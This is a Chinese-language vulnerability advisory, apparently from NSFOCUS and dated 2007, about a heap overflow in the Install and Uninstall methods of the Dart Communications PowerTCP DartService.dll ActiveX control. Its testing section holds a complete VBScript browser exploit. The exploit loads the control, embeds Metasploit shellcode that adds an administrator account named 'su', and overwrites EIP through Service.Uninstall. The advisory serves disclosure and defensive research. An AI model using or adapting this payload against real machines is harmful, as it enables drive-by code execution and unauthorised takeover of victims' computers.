安全研究
安全漏洞
Dart Communications PowerTCP服务控件远程堆溢出漏洞
发布日期：2007-05-24
更新日期：2007-05-25
受影响系统：
Dart Communications DartService.dll 3.1.3.3描述：
BUGTRAQ ID: 24142
PowerTCP是美国Dart Communications公司推出的用于编程开发的ActiveX控件组集合。
PowerTCP的服务控件DartService.dll的Install和Uninstall方式存在堆溢出漏洞，如果用户受骗访问了恶意站点的话，就可能触发这个溢出，导致在用户浏览器会话中执行任意指令。
<*来源：rgod （rgod@autistici.org）
链接：http://marc.info/?l=bugtraq&m=118003390218802&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object classid='clsid:13F4DEDE-D19F-11D2-BA94-0040053687FE' id='Service' ></object>
<script language='vbscript'>
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup \
Administrators su /add
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49% \
49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41 \
%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4 \
c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b% \
71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a \
%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4 \
f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c% \
6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f \
%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6 \
b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70% \
36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69 \
%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6 \
d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30% \
51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70 \
%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%7 \
0%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63% \
67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
nop = unescape("%90%90%90%90")
eip = unescape("%1e%a6%3e%7e") 'call edi user32.dll
patch = unescape("%01%04%04%90")
jmp = unescape("%e9%27%fe%ff%ff") 'jmp near shellcode
argh = "aaaa" + nop + shellcode + eip + patch + jmp
Service.Uninstall argh
</script>
</html>
建议：
厂商补丁：
Dart Communications
-------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.dart.com/
浏览次数：3021
严重程度：0（网友投票）
绿盟科技给您安全的保障